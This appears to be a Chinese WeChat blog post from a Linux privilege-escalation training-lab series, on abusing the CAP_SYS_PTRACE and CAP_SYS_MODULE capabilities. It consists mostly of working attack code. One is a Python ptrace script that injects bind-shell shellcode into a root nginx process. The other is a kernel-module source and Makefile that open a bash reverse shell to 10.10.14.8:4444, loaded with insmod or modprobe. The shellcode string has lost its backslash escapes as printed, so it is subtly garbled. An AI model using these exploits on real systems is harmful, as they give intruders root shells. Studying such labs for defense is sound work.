这篇讲述涉及进程注入和内核模块注入的能力
CAP_SYS_PTRACE
在本实验中,python
解释器在有效集和允许集都具有 cap_sys_ptrace
功能
当运行进程的有效集有 cap_sys_ptrace
能力,它可以打开任何进程并将数据写入其内存。这意味着可以注入含有打开shell
的恶意代码到正在运行的进程,然后再连接到它。这样将获得带有进程ruid
的 shell
。有了这个能力,如果一个进程正在以 root
用户运行,可以直接升级到 root
用户并获得特权 shell
发现nginx
父进程是以root
用户运行的
编写脚本exploit.py
import ctypes
import sys
import struct
# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html
PTRACE_POKETEXT = 4
PTRACE_GETREGS = 12
PTRACE_SETREGS = 13
PTRACE_ATTACH = 16
PTRACE_DETACH = 17
# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct
class user_regs_struct(ctypes.Structure):
_fields_ = [
("r15", ctypes.c_ulonglong),
("r14", ctypes.c_ulonglong),
("r13", ctypes.c_ulonglong),
("r12", ctypes.c_ulonglong),
("rbp", ctypes.c_ulonglong),
("rbx", ctypes.c_ulonglong),
("r11", ctypes.c_ulonglong),
("r10", ctypes.c_ulonglong),
("r9", ctypes.c_ulonglong),
("r8", ctypes.c_ulonglong),
("rax", ctypes.c_ulonglong),
("rcx", ctypes.c_ulonglong),
("rdx", ctypes.c_ulonglong),
("rsi", ctypes.c_ulonglong),
("rdi", ctypes.c_ulonglong),
("orig_rax", ctypes.c_ulonglong),
("rip", ctypes.c_ulonglong),
("cs", ctypes.c_ulonglong),
("eflags", ctypes.c_ulonglong),
("rsp", ctypes.c_ulonglong),
("ss", ctypes.c_ulonglong),
("fs_base", ctypes.c_ulonglong),
("gs_base", ctypes.c_ulonglong),
("ds", ctypes.c_ulonglong),
("es", ctypes.c_ulonglong),
("fs", ctypes.c_ulonglong),
("gs", ctypes.c_ulonglong),
]
libc = ctypes.CDLL("libc.so.6")
pid=int(sys.argv[1])
# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64
# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()
# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))
print("Instruction Pointer: " + hex(registers.rip))
print("Injecting Shellcode at: " + hex(registers.rip))
# Shell code copied from exploit db. https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c
shellcode = "x48x31xc0x48x31xd2x48x31xf6xffxc6x6ax29x58x6ax02x5fx0fx05x48x97x6ax02x66xc7x44x24x02x15xe0x54x5ex52x6ax31x58x6ax10x5ax0fx05x5ex6ax32x58x0fx05x6ax2bx58x0fx05x48x97x6ax03x5exffxcexb0x21x0fx05x75xf8xf7xe6x52x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x8dx3cx24xb0x3bx0fx05"
# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):
# Convert the byte to little endian.
shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('x00').encode('hex')
shellcode_byte=int(shellcode_byte_little_endian,16)
# Inject the byte.
libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)
print("Shellcode Injected!!")
# Modify the instuction pointer
registers.rip=registers.rip+2
# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))
print("Final Instruction Pointer: " + hex(registers.rip))
# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)
此代码将在 nginx
进程中注入一个 shellcode
,并在 5600 上打开一个绑定 shell
注入 shellcode
后,可以看到端口 5600 已打开,如前所述。现在可以使用 netcat
连接到端口并以 root
用户身份执行命令
CAP_SYS_MODULE
在这个实验中,kmod
二进制文件在有效集和允许集都具有 cap_sys_module
功能
Linux 内核允许通过允许用户添加或删除内核模块来扩展其功能。这些是可插入的代码片段,每个代码片段执行一些特定的操作。例如,当添加虚拟机additions
时,它会注入内核模块以允许与主机操作系统进行无缝交互。所以很明显,拥有这样的权限,应该是root
用户。但是如果一个进程以 cap_sys_module
能力运行,它可以执行这样的操作。而且,如果像 python
或 kmod
这样的进程具有此能力,可以使用反向 shell
直接升级到 root
用户。
reverse-shell.c
:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.8/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
// call_usermodehelper function is used to create user mode processes from kernel space
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exitingn");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
Makefile
:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
是时候构建内核模块了。要执行此操作,请运行 make
命令
构建成功后,发现有一个名为reverse-shell.ko
的文件。这是可以注入的内核对象。由于这是一次性反向 shell
,因此启动了 ncat
侦听器。
使用insmod
注入内核模块,其中insmod
会调用kmod
做实际注入工作。由于kmod
有cap_sys_module
能力,所以,它会成功。
一旦注入完成,ncat
会收到新连接
现在需要做的就是在系统中找到flag
文件并读取它
CAP_SYS_MODULE 2
在本实验中,python
解释器在有效集和允许集有 cap_sys_module
,并且 kmod
模块安装在 python
中
如果 python
解释器有cap_sys_module
能力并且安装了 kmod
, 可以使用 modprobe
实用程序注入内核模块。
Modprobe 需要一些预处理, 需要先创建一个modules目录,将系统中的模块复制到该目录下
$ mkdir lib/modules -p
$ cp -a /lib/modules/$(uname -r)/ lib/modules/$(uname -r)
使用上一节的代码
用netcat
监听
使用 depmod
工具更新内核模块列表,最终 modprobe
在查找和插入模块时将读取该列表
一旦注入完成,ncat
会收到新连接
请点一下右下角的“在看”,谢谢!!
暗号:980662
原文始发于微信公众号(奶牛安全):Linux提权系列23: [训练营]利用linux能力漏洞6
- 我的微信
- 微信扫一扫
-
- 我的微信公众号
- 微信扫一扫
-
评论